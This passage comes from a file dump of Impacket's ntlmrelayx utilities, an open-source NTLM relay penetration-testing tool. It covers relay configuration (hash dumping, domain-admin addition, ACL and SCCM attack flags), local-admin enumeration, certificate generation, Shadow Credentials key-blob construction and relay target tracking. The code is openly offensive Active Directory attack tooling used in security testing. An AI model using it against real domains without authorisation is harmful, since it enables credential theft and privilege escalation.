LOG.error('(WinRMS): No attack configured for %s' % self.target.scheme.upper())\n\n    def __init__(self, config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.config = config\n        self.server = None\n        self.httpport = None\n\n    def run(self):\n        if not self.config.listeningPort:\n            self.config.listeningPort = 5986\n\n        LOG.info(\"Setting up WinRMS (HTTPS) Server on port %s\" % self.config.listeningPort)\n        self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config)\n\n        try:\n             self.server.serve_forever()\n        except KeyboardInterrupt:\n             pass\n\n        LOG.info('Shutting down WinRMS (HTTPS) Server')\n        self.server.server_close()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/utils/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\npass\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/utils/config.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Config utilities\n#\n#   Configuration class which holds the config specified on the\n#   command line, this can be passed to the tools' servers and clients\n#\n# Author:\n#  Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\nfrom impacket.examples.utils import parse_credentials\n\n\nclass NTLMRelayxConfig:\n    def __init__(self):\n\n        self.daemon = True\n\n        # Set the value of the interface ip address\n        self.interfaceIp = None\n\n        self.listeningPort = None\n\n        self.domainIp = None\n\n        self.machineAccount = None\n        self.machineHashes = None\n        self.target = None\n        self.mode = None\n        self.redirecthost = None\n        self.outputFile = None\n        self.dumpHashes = False\n        self.attacks = None\n        self.lootdir = None\n        self.randomtargets = False\n        self.encoding = None\n        self.ipv6 = False\n        self.remove_mic = False\n        self.remove_sign_seal = False\n        self.disableMulti = False\n        self.keepRelaying = False\n\n        self.command = None\n\n        # WPAD options\n        self.serve_wpad = False\n        self.wpad_host = None\n        self.wpad_auth_num = 0\n        self.smb2support = False\n\n        # SMB options\n        self.exeFile = None\n        self.interactive = False\n        self.enumLocalAdmins = False\n        self.SMBServerChallenge = None\n        self.rpc_attack = None\n\n        # RPC options\n        self.rpc_mode = None\n        self.rpc_use_smb = False\n        self.auth_smb = ''\n        self.smblmhash = None\n        self.smbnthash = None\n        self.port_smb = 445\n\n        # LDAP options\n        self.dumpdomain = True\n        self.addda = True\n        self.aclattack = True\n        self.validateprivs = True\n        self.escalateuser = None\n\n        # MSSQL options\n        self.queries = []\n        self.database = None\n\n        # Registered protocol clients\n        self.protocolClients = {}\n\n        # SOCKS options\n        self.runSocks = False\n        self.socksServer = None\n\n        # HTTP options\n        self.remove_target = False\n\n        # WebDAV options\n        self.serve_image = False\n\n        # AD CS attack options\n        self.isADCSAttack = False\n        self.template = None\n        self.altName = None\n\n        # Shadow Credentials attack options\n        self.IsShadowCredentialsAttack = False\n        self.ShadowCredentialsPFXPassword = None\n        self.ShadowCredentialsExportType = None\n        self.ShadowCredentialsOutfilePath = None\n\n        # SCCM attacks options\n        self.isSCCMPoliciesAttack = False\n        self.SCCMPoliciesClientname = None\n        self.SCCMPoliciesSleep = None\n        self.isSCCMDPAttack = False\n        self.SCCMDPExtensions = None\n        self.SCCMDPFiles = None\n\n    def setSMBChallenge(self, value):\n        self.SMBServerChallenge = value\n\n    def setSMBRPCAttack(self, value):\n        self.rpc_attack = value\n\n    def setSMB2Support(self, value):\n        self.smb2support = value\n\n    def setProtocolClients(self, clients):\n        self.protocolClients = clients\n\n    def setInterfaceIp(self, ip):\n        self.interfaceIp = ip\n\n    def setListeningPort(self, port):\n        self.listeningPort = port\n\n    def setRunSocks(self, socks, server):\n        self.runSocks = socks\n        self.socksServer = server\n\n    def setOutputFile(self, outputFile):\n        self.outputFile = outputFile\n\n    def setdumpHashes(self, dumpHashes):\n        self.dumpHashes = dumpHashes\n\n    def setTargets(self, target):\n        self.target = target\n\n    def setExeFile(self, filename):\n        self.exeFile = filename\n\n    def setCommand(self, command):\n        self.command = command\n\n    def setEnumLocalAdmins(self, enumLocalAdmins):\n        self.enumLocalAdmins = enumLocalAdmins\n\n    def setAddComputerSMB(self, addComputerSMB):\n        self.addComputerSMB = addComputerSMB\n\n    def setDisableMulti(self, disableMulti):\n        self.disableMulti = disableMulti\n\n    def setKeepRelaying(self, keepRelaying):\n        self.keepRelaying = keepRelaying\n\n    def setEncoding(self, encoding):\n        self.encoding = encoding\n\n    def setMode(self, mode):\n        self.mode = mode\n\n    def setAttacks(self, attacks):\n        self.attacks = attacks\n\n    def setLootdir(self, lootdir):\n        self.lootdir = lootdir\n\n    def setRedirectHost(self, redirecthost):\n        self.redirecthost = redirecthost\n\n    def setDomainAccount(self, machineAccount, machineHashes, domainIp):\n        # Don't set this if we're not exploiting it\n        if not self.remove_target:\n            return\n        if machineAccount is None or machineHashes is None or domainIp is None:\n            raise Exception(\"You must specify machine-account/hashes/domain all together!\")\n        self.machineAccount = machineAccount\n        self.machineHashes = machineHashes\n        self.domainIp = domainIp\n\n    def setRandomTargets(self, randomtargets):\n        self.randomtargets = randomtargets\n\n    def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord):\n        self.dumpdomain = dumpdomain\n        self.addda = addda\n        self.aclattack = aclattack\n        self.validateprivs = validateprivs\n        self.escalateuser = escalateuser\n        self.addcomputer = addcomputer\n        self.delegateaccess = delegateaccess\n        self.dumplaps = dumplaps\n        self.dumpgmsa = dumpgmsa\n        self.dumpadcs = dumpadcs\n        self.sid = sid\n        self.adddnsrecord = adddnsrecord\n\n    def setMSSQLOptions(self, queries):\n        self.queries = queries\n\n    def setRPCOptions(self, rpc_mode, rpc_use_smb, auth_smb, hashes_smb, rpc_smb_port, icpr_ca_name):\n        self.rpc_mode = rpc_mode\n        self.rpc_use_smb = rpc_use_smb\n        self.smbdomain, self.smbuser, self.smbpass = parse_credentials(auth_smb)\n\n        if hashes_smb is not None:\n            self.smblmhash, self.smbnthash = hashes_smb.split(':')\n        else:\n            self.smblmhash = ''\n            self.smbnthash = ''\n\n        self.rpc_smb_port = rpc_smb_port\n        self.icpr_ca_name = icpr_ca_name\n\n    def setInteractive(self, interactive):\n        self.interactive = interactive\n\n    def setIMAPOptions(self, keyword, mailbox, dump_all, dump_max):\n        self.keyword = keyword\n        self.mailbox = mailbox\n        self.dump_all = dump_all\n        self.dump_max = dump_max\n\n    def setIPv6(self, use_ipv6):\n        self.ipv6 = use_ipv6\n\n    def setWpadOptions(self, wpad_host, wpad_auth_num):\n        if wpad_host is not None:\n            self.serve_wpad = True\n        self.wpad_host = wpad_host\n        self.wpad_auth_num = wpad_auth_num\n\n    def setExploitOptions(self, remove_mic, remove_target, remove_sign_seal=False):\n        self.remove_mic = remove_mic\n        self.remove_target = remove_target\n        self.remove_sign_seal = remove_sign_seal\n\n    def setWebDAVOptions(self, serve_image):\n        self.serve_image = serve_image\n\n    def setADCSOptions(self, template):\n        self.template = template\n\n    def setIsADCSAttack(self, isADCSAttack):\n        self.isADCSAttack = isADCSAttack\n\n    def setIsShadowCredentialsAttack(self, IsShadowCredentialsAttack):\n        self.IsShadowCredentialsAttack = IsShadowCredentialsAttack\n\n    def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentialsPFXPassword, ShadowCredentialsExportType, ShadowCredentialsOutfilePath):\n        self.ShadowCredentialsTarget = ShadowCredentialsTarget\n        self.ShadowCredentialsPFXPassword = ShadowCredentialsPFXPassword\n        self.ShadowCredentialsExportType = ShadowCredentialsExportType\n        self.ShadowCredentialsOutfilePath = ShadowCredentialsOutfilePath\n    \n    def setIsSCCMPoliciesAttack(self, isSCCMPoliciesAttack):\n        self.isSCCMPoliciesAttack = isSCCMPoliciesAttack\n    \n    def setSCCMPoliciesOptions(self, sccm_policies_clientname, sccm_policies_sleep):\n        self.SCCMPoliciesClientname = sccm_policies_clientname\n        self.SCCMPoliciesSleep = sccm_policies_sleep\n    \n    def setIsSCCMDPAttack(self, isSCCMDPAttack):\n        self.isSCCMDPAttack = isSCCMDPAttack\n    \n    def setSCCMDPOptions(self, sccm_dp_extensions, sccm_dp_files):\n        self.SCCMDPExtensions = sccm_dp_extensions\n        self.SCCMDPFiles = sccm_dp_files       \n            \n    def setMSSQLDb(self, mssql_db):\n        self.database = mssql_db\n\n    def setAltName(self, altName):\n        self.altName = altName\n\ndef parse_listening_ports(value):\n    ports = set()\n    for entry in value.split(\",\"):\n        items = entry.split(\"-\")\n        if len(items) > 2:\n            raise ValueError\n        if len(items) == 1:\n            ports.add(int(items[0])) # Can raise ValueError if casted value not an Int, will be caught by calling method\n            continue\n        item1, item2 = map(int, items) # Can raise ValueError if casted values not an Int, will be caught by calling method\n        if item2 < item1:\n            raise ValueError(\"Upper bound in port range smaller than lower bound\")\n        ports.update(range(item1, item2 + 1))\n\n    return ports\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/utils/enum.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Config utilities\n#\n#   Helpful enum methods for discovering local admins through SAMR and LSAT\n#\n# Author:\n#   Ronnie Flathers / @ropnop\n#\nfrom impacket.dcerpc.v5 import transport, lsat, samr, lsad\nfrom impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED\n\n\nclass EnumLocalAdmins:\n    def __init__(self, smbConnection):\n        self.__smbConnection = smbConnection\n        self.__samrBinding = r'ncacn_np:445[\\pipe\\samr]'\n        self.__lsaBinding = r'ncacn_np:445[\\pipe\\lsarpc]'\n\n    def __getDceBinding(self, strBinding):\n        rpc = transport.DCERPCTransportFactory(strBinding)\n        rpc.set_smb_connection(self.__smbConnection)\n        return rpc.get_dce_rpc()\n\n    def getLocalAdmins(self):\n        adminSids = self.__getLocalAdminSids()\n        adminNames = self.__resolveSids(adminSids)\n        return adminSids, adminNames\n\n    def __getLocalAdminSids(self):\n        dce = self.__getDceBinding(self.__samrBinding)\n        dce.connect()\n        dce.bind(samr.MSRPC_UUID_SAMR)\n        resp = samr.hSamrConnect(dce)\n        serverHandle = resp['ServerHandle']\n\n        resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin')\n        resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId'])\n        domainHandle = resp['DomainHandle']\n        resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544)\n        resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle'])\n        memberSids = []\n        for member in resp['Members']['Sids']:\n            memberSids.append(member['SidPointer'].formatCanonical())\n        dce.disconnect()\n        return memberSids\n\n    def __resolveSids(self, sids):\n        dce = self.__getDceBinding(self.__lsaBinding)\n        dce.connect()\n        dce.bind(lsat.MSRPC_UUID_LSAT)\n        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)\n        policyHandle = resp['PolicyHandle']\n        resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)\n        names = []\n        for n, item in enumerate(resp['TranslatedNames']['Names']):\n            names.append(\"{}\\\\{}\".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name']))\n        dce.disconnect()\n        return names\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/utils/identity_log.py",
    "content": "# impacket/examples/ntlmrelayx/utils/identity_log.py\nimport logging\nimport threading\nfrom contextlib import contextmanager\n\n# Thread-local storage for current identity\n_tlocal = threading.local()\n\ndef _get_identity():\n    return getattr(_tlocal, \"identity\", None)\n\ndef set_identity(identity):\n    setattr(_tlocal, \"identity\", identity)\n\n@contextmanager\ndef identity_context(identity):\n    prev = _get_identity()\n    try:\n        set_identity(identity)\n        yield\n    finally:\n        # Restore whatever was there before (safer for nested calls)\n        set_identity(prev)\n\nclass IdentityFilter(logging.Filter):\n    \"\"\"Injects .identity into every LogRecord so %(identity)s works in formatters.\"\"\"\n    def filter(self, record):\n        # Will be \"\" if not set\n        identity = _get_identity()\n        record.identity = \"%s -> \" % identity if identity else ''\n        return True\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/utils/rdp_ssl.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   RDP SSL/TLS utilities for the RDP relay server.\n#   Handles TLS context creation and self-signed certificate generation.\n\nimport random\nimport tempfile\n\nfrom OpenSSL import SSL, crypto\n\n\nclass ServerTLSContext:\n    def __init__(self, privateKeyFileName, certificateFileName):\n        \"\"\"\n        :param privateKeyFileName: Path to private key file (PEM format)\n        :param certificateFileName: Path to certificate file (PEM format)\n        \"\"\"\n        self.privateKeyFileName = privateKeyFileName\n        self.certificateFileName = certificateFileName\n\n    def getContext(self):\n        context = SSL.Context(SSL.SSLv23_METHOD)\n        \n        # SSL options for RDP compatibility\n        context.set_options(SSL.OP_DONT_INSERT_EMPTY_FRAGMENTS)\n        context.set_options(SSL.OP_TLS_BLOCK_PADDING_BUG)\n        context.set_options(SSL.OP_NO_SSLv2)\n        context.set_options(SSL.OP_NO_SSLv3)\n\n        # Load certificate and private key\n        with open(self.certificateFileName, 'rb') as f:\n            cert = crypto.load_certificate(crypto.FILETYPE_PEM, f.read())\n\n        with open(self.privateKeyFileName, 'rb') as f:\n            key = crypto.load_privatekey(crypto.FILETYPE_PEM, f.read())\n\n        context.use_certificate(cert)\n        context.use_privatekey(key)\n\n        return context\n\n\ndef generate_self_signed_cert(common_name=\"RDP-Server\"):\n    key = crypto.PKey()\n    key.generate_key(crypto.TYPE_RSA, 2048)\n\n    # Create self-signed certificate\n    cert = crypto.X509()\n    cert.get_subject().CN = common_name\n    cert.set_serial_number(random.randint(0, 100000))\n    cert.gmtime_adj_notBefore(0)\n    cert.gmtime_adj_notAfter(365 * 24 * 60 * 60)  # 1 year validity\n    cert.set_issuer(cert.get_subject())\n    cert.set_pubkey(key)\n    cert.sign(key, \"sha256\")\n\n    # Save to temporary files\n    cert_file = tempfile.NamedTemporaryFile(mode='wb', delete=False, suffix='.crt')\n    key_file = tempfile.NamedTemporaryFile(mode='wb', delete=False, suffix='.pem')\n\n    cert_file.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))\n    key_file.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))\n\n    cert_file.close()\n    key_file.close()\n\n    return key_file.name, cert_file.name"
  },
  {
    "path": "impacket/examples/ntlmrelayx/utils/shadow_credentials.py",
    "content": "from struct import pack\nfrom Cryptodome.Util.number import long_to_bytes\nimport base64\nimport uuid\nimport datetime\nimport time\nimport hashlib\nimport binascii\nimport os\n\n# code based on:\n# \n# https://podalirius.net/en/articles/parsing-the-msds-keycredentiallink-value-for-shadowcredentials-attack/\n# https://github.com/MichaelGrafnetter/DSInternals\n\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom Cryptodome.IO import PEM\nfrom cryptography.hazmat.primitives.serialization import pkcs12\n\n\ndef getTicksNow():\n    # https://learn.microsoft.com/en-us/dotnet/api/system.datetime.ticks?view=net-5.0#system-datetime-ticks\n    dt_now = datetime.datetime.now(datetime.timezone.utc)\n    csharp_epoch = datetime.datetime(year=1601, month=1, day=1,tzinfo=datetime.timezone.utc)\n    delta = dt_now - csharp_epoch\n    return int(delta.total_seconds() * 10000000) # Convert to microseconds and multiply by 10 for ticks\n\ndef getDeviceId():\n    return uuid.uuid4().bytes\n\ndef createSelfSignedX509Certificate(subject,kSize=2048):\n    key = rsa.generate_private_key(\n        public_exponent=65537,\n        key_size=kSize,\n        backend=None  # Use default backend    \n    )\n\n    subject_name = x509.Name([\n        x509.NameAttribute(x509.NameOID.COMMON_NAME, subject),\n    ])\n\n    now = datetime.datetime.now(datetime.timezone.utc)\n    \n    cert = x509.CertificateBuilder().subject_name(\n        subject_name\n    ).issuer_name(\n        subject_name\n    ).public_key(\n        key.public_key()\n    ).serial_number(\n        x509.random_serial_number()\n    ).not_valid_before(\n        now - datetime.timedelta(days=1)\n    ).not_valid_after(\n        now + datetime.timedelta(days=3650)  # 10 years\n    ).add_extension(\n        x509.BasicConstraints(ca=True, path_length=None), critical=True,\n    ).sign(key, hashes.SHA256()\n    )\n\n    return key,cert\n\nclass KeyCredential():\n    @staticmethod\n    def raw_public_key(public_key):\n\n        kSize = pack(\"<I\",public_key.key_size)\n        exponent = long_to_bytes(public_key.public_key().public_numbers().e)\n        exponentSize = pack(\"<I\",len(exponent))\n        modulus = long_to_bytes(public_key.public_key().public_numbers().n)\n        modulusSize = pack(\"<I\",len(modulus))\n\n        padding = pack(\"<I\",0)*2\n\n        return b'RSA1' + kSize + exponentSize + modulusSize + padding + exponent + modulus\n\n    def __init__(self,key,deviceId,currentTime):\n        self.__publicKey = self.raw_public_key(key)\n        self.__rawKeyMaterial = (0x3,self.__publicKey)\n        self.__usage = (0x4,pack(\"<B\",0x01))\n        self.__source = (0x5,pack(\"<B\",0x0))\n        self.__deviceId = (0x6,deviceId)\n        self.__customKeyInfo = (0x7,pack(\"<BB\",0x1,0x2))\n        self.__creationTime = (0x9,pack(\"<Q\",currentTime))\n\n        self.__version = 0x200\n\n        self.__sha256 = base64.b64encode( hashlib.sha256(self.__publicKey).digest() ).decode(\"utf-8\")\n\n    def __packData(self,fields):\n        return b''.join( [ pack(\"<HB\",len(field[1]),field[0]) + field[1] for field in fields] )\n\n    def __getKeyIdentifier(self):\n        self.__identifier = base64.b64decode( self.__sha256+\"===\" )\n        return (0x1,self.__identifier)\n\n    def __getKeyHash(self,binaryProperties):\n        computed_hash = hashlib.sha256(binaryProperties).digest()\n        return (0x2,computed_hash)\n\n    def dumpBinary(self):\n        version = pack(\"<L\",self.__version)\n\n        binaryProperties = self.__packData( [self.__rawKeyMaterial,\n                            self.__usage,\n                            self.__source,\n                            self.__deviceId,\n                            self.__customKeyInfo,\n                            self.__creationTime,\n                         ])\n\n        binaryData = self.__packData( [self.__getKeyIdentifier(),\n                                        self.__getKeyHash(binaryProperties),\n                                      ])\n\n        return version + binaryData + binaryProperties\n\n\ndef toDNWithBinary2String( binaryData, owner ):\n    hexdata = binascii.hexlify(binaryData).decode(\"UTF-8\")\n    return \"B:%d:%s:%s\" % (len(binaryData)*2,hexdata,owner)\n\ndef exportPFX(certificate,key,path_to_file,password):\n    if len(os.path.dirname(path_to_file)) != 0:\n        if not os.path.exists(os.path.dirname(path_to_file)):\n            os.makedirs(os.path.dirname(path_to_file), exist_ok=True)\n\n    # Export private key and certificate in PKCS#12 format using cryptography\n    pfx_data = pkcs12.serialize_key_and_certificates(\n        name=b\"\",\n        key=key,\n        cert=certificate,\n        cas=None,\n        encryption_algorithm=serialization.BestAvailableEncryption(password.encode())\n    )\n\n    with open(path_to_file + \".pfx\", \"wb\") as f:\n        f.write(pfx_data)\n\n\ndef exportPEM(certificate,key, path_to_files):\n    if len(os.path.dirname(path_to_files)) != 0:\n        if not os.path.exists(os.path.dirname(path_to_files)):\n            os.makedirs(os.path.dirname(path_to_files), exist_ok=True)\n\n    # Export certificate in PEM format \n    cert_pem = certificate.public_bytes(serialization.Encoding.PEM)\n    with open(path_to_files + \"_cert.pem\", \"wb\") as f:\n        f.write(cert_pem)\n\n    # Export private key in PEM format \n    privpem = key.private_bytes(\n        encoding=serialization.Encoding.PEM,\n        format=serialization.PrivateFormat.TraditionalOpenSSL,\n        encryption_algorithm=serialization.NoEncryption()\n    )\n\n    with open(path_to_files + \"_priv.pem\", \"wb\") as f:\n        f.write(privpem)\n\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/utils/ssl.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SSL utilities\n#\n#   Various functions and classes for SSL support:\n#     - generating certificates\n#     - creating SSL capable SOCKS protocols\n#\n#   Most of the SSL generation example code comes from the pyopenssl examples\n#     https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py\n#\n#   Made available under the Apache license by the pyopenssl team\n#     See https://github.com/pyca/pyopenssl/blob/master/LICENSE\n#\n# Author:\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nfrom OpenSSL import crypto, SSL\nfrom impacket import LOG\n\n# This certificate is not supposed to be exposed on the network\n# but only used for the local SOCKS plugins\n# therefore, for now we don't bother with a CA and with hosts/hostnames matching\ndef generateImpacketCert(certname='/tmp/impacket.crt'):\n    # Create a private key\n    pkey = crypto.PKey()\n    pkey.generate_key(crypto.TYPE_RSA, 2048)\n\n    # Create the certificate\n    cert = crypto.X509()\n    cert.gmtime_adj_notBefore(0)\n    # Valid for 5 years\n    cert.gmtime_adj_notAfter(60*60*24*365*5)\n    subj = cert.get_subject()\n    subj.CN = 'impacket'\n    cert.set_pubkey(pkey)\n    cert.sign(pkey, \"sha256\")\n    # We write both from the same file\n    with open(certname, 'w') as certfile:\n        certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8'))\n        certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))\n    LOG.debug('Wrote certificate to %s' % certname)\n\n# Class to wrap the client socket in SSL when serving as a SOCKS server\nclass SSLServerMixin(object):\n    # This function will wrap the socksSocket in an SSL layer\n    def wrapClientConnection(self, cert='/tmp/impacket.crt'):\n        # Create a context, we don't really care about the SSL/TLS\n        # versions used since it is only intended for local use and thus\n        # doesn't have to be super-secure\n        ctx = SSL.Context(SSL.TLS_METHOD)\n        ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))\n        try:\n            ctx.use_privatekey_file(cert)\n            ctx.use_certificate_file(cert)\n        except SSL.Error:\n            LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt')\n            generateImpacketCert(cert)\n            ctx.use_privatekey_file(cert)\n            ctx.use_certificate_file(cert)\n\n        sslSocket = SSL.Connection(ctx, self.socksSocket)\n        sslSocket.set_accept_state()\n\n        # Now set this property back to the SSL socket instead of the regular one\n        self.socksSocket = sslSocket\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/utils/targetsutils.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Target utilities\n#\n#   Classes for handling specified targets and keeping state of which targets have been processed\n#   Format of targets are based in URI syntax\n#       scheme://netloc/path\n#   where:\n#       scheme: the protocol to target (e.g. 'smb', 'mssql', 'all')\n#       netloc: int the form of domain\\username@host:port (domain\\username and port are optional, and don't forget\n#               to escape the '\\')\n#       path: only used by specific attacks (e.g. HTTP attack).\n#\n#   Some examples:\n#       smb://1.1.1.1: It will target host 1.1.1.1 (protocol SMB) with any user connecting\n#       mssql://contoso.com\\joe@10.1.1.1: It will target host 10.1.1.1 (protocol MSSQL) only when contoso.com\\joe is\n#       connecting.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\n# ToDo:\n#   [ ]: Expand the ALL:// to all the supported protocols\n#\nimport os\nimport random\nimport time\ntry:\n    from urllib.parse import urlparse\nexcept ImportError:\n    from urlparse import urlparse\nfrom impacket import LOG\nfrom threading import Thread\n\n\nclass TargetsProcessor:\n    def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None, randomize=False):\n        # Here we store the attacks that already finished, mostly the ones that have usernames, since the\n        # other ones will never finish.\n        self.finishedAttacks = []\n        self.failedAttacks = []\n        self.protocolClients = protocolClients\n        if targetListFile is None:\n            self.filename = None\n            self.originalTargets = self.processTarget(singleTarget, protocolClients)\n        else:\n            self.filename = targetListFile\n            self.originalTargets = []\n            self.readTargets()\n\n        if randomize is True:\n            # Randomize the targets based\n            random.shuffle(self.originalTargets)\n\n        self.reloadTargets(full_reload=True)\n\n\n    @staticmethod\n    def processTarget(target, protocolClients):\n        # Check if we have a single target, with no URI form\n        if target.find('://') <= 0:\n            # Target is a single IP, assuming it's SMB.\n            return [urlparse('smb://%s' % target)]\n\n        # Checks if it needs to expand the list if there's a all://*\n        retVals = []\n        if target[:3].upper() == 'ALL':\n            strippedTarget = target[3:]\n            for protocol in protocolClients:\n                retVals.append(urlparse('%s%s' % (protocol, strippedTarget)))\n            return retVals\n        else:\n            return [urlparse(target)]\n\n    def readTargets(self):\n        try:\n            with open(self.filename,'r') as f:\n                self.originalTargets = []\n                for line in f:\n                    target = line.strip()\n                    if target != '' and target[0] != '#':\n                        self.originalTargets.extend(self.processTarget(target, self.protocolClients))\n        except IOError as e:\n            LOG.error(\"Could not open file: %s - %s\", self.filename, str(e))\n\n        if len(self.originalTargets) == 0:\n            LOG.critical(\"Warning: no valid targets specified!\")\n\n        self.reloadTargets()\n\n\n    def reloadTargets(self, full_reload=False):\n        if full_reload:\n            self.finishedAttacks = []\n            self.failedAttacks = []\n        self.generalCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x not in self.failedAttacks and x.username is None]\n        self.namedCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x not in self.failedAttacks  and x.username is not None]\n\n    def registerTarget(self, target, gotRelay = False, gotUsername = None):\n        # If the target has a username, we can safely remove it from the list. Mission accomplished.\n        if target.username is not None:\n            if gotRelay:\n                self.finishedAttacks.append(target)\n            else:\n                self.failedAttacks.append(target)\n        elif gotUsername is not None:\n            # We have data about the username we relayed the connection for,\n            # for a target that didn't have username specified.\n            # Let's log it\n            if target.scheme.find('http') == 0 and target.query:\n                newTarget = urlparse('%s://%s@%s%s?%s' % (target.scheme, gotUsername.replace('/','\\\\'), target.netloc, target.path, target.query))\n            else:\n                newTarget = urlparse('%s://%s@%s%s' % (target.scheme, gotUsername.replace('/','\\\\'), target.netloc, target.path))\n            if gotRelay:\n                self.finishedAttacks.append(newTarget)\n            else:\n                self.failedAttacks.append(newTarget)\n\n    def getTarget(self, identity=None, multiRelay=True):\n        # ToDo: We should have another list of failed attempts (with user) and check that inside this method so we do not\n        # retry those targets.\n        if identity is not None and len(self.namedCandidates) > 0:\n            # We've been asked to match a username that is connected to us\n            # Do we have an explicit request for it?\n            for target in self.namedCandidates:\n                if target.username is not None:\n                    if target.username.upper() == identity.replace('/', '\\\\'):\n                        self.namedCandidates.remove(target)\n                        return target\n                    if target.username.find('\\\\') < 0:\n                        # Username with no domain, let's compare that way\n                        if target.username.upper() == identity.split('/')[1]:\n                            self.namedCandidates.remove(target)\n                            return target\n\n        # No identity match, let's just grab something from the generalCandidates list\n        # Assuming it hasn't been relayed already\n        if len(self.generalCandidates) > 0:\n            if identity is not None:\n                for target in self.generalCandidates:\n                    tmpTarget = '%s://%s@%s' % (target.scheme, identity.replace('/', '\\\\'), target.netloc + target.path)\n                    match = [x for x in self.finishedAttacks if x.geturl().upper() == tmpTarget.upper()]\n                    fail_match = [x for x in self.failedAttacks if x.geturl().upper() == tmpTarget.upper()]\n                    print(self.failedAttacks)\n                    if len(match) == 0 and len(fail_match) == 0:\n                        self.generalCandidates.remove(target)\n                        return target\n                LOG.debug(\"No more targets for user %s\" % identity)\n                return None\n            # Multirelay feature is disabled, general candidates are attacked just one time\n            elif multiRelay == False:\n                for target in self.generalCandidates:\n                    match = [x for x in self.finishedAttacks if x.hostname == target.netloc and x.scheme == target.scheme]\n                    if len(match) == 0:\n                        self.generalCandidates.remove(target)\n                        return target\n                LOG.debug(\"No more targets\")\n                return None\n            else:\n                return self.generalCandidates.pop()\n        else:\n            if len(self.originalTargets) > 0:\n                # Remove credentials from the URLs (otherwise they won't ever match)\n                finishedAttacks = [an_atk._replace(netloc=an_atk.hostname) for an_atk in self.finishedAttacks]\n                failedAttacks = [an_atk._replace(netloc=an_atk.hostname) for an_atk in self.failedAttacks]\n                self.generalCandidates = [x for x in self.originalTargets if\n                                          x not in finishedAttacks and x not in failedAttacks and x.username is None]\n\n        if len(self.generalCandidates) == 0:\n            if len(self.namedCandidates) == 0:\n                # We are here, which means all the targets are already exhausted by the client\n                LOG.info(\"All targets processed!\")\n            elif identity is not None:\n                # This user has no more targets\n                LOG.debug(\"No more targets for user %s\" % identity)\n            return None\n        else:\n            return self.getTarget(identity, multiRelay)\n\nclass TargetsFileWatcher(Thread):\n    def __init__(self,targetprocessor):\n        Thread.__init__(self)\n        self.targetprocessor = targetprocessor\n        self.lastmtime = os.stat(self.targetprocessor.filename).st_mtime\n\n    def run(self):\n        while True:\n            mtime = os.stat(self.targetprocessor.filename).st_mtime\n            if mtime > self.lastmtime:\n                LOG.info('Targets file modified - refreshing')\n                self.lastmtime = mtime\n                self.targetprocessor.readTargets()\n            time.sleep(1.0)\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/utils/tcpshell.py",
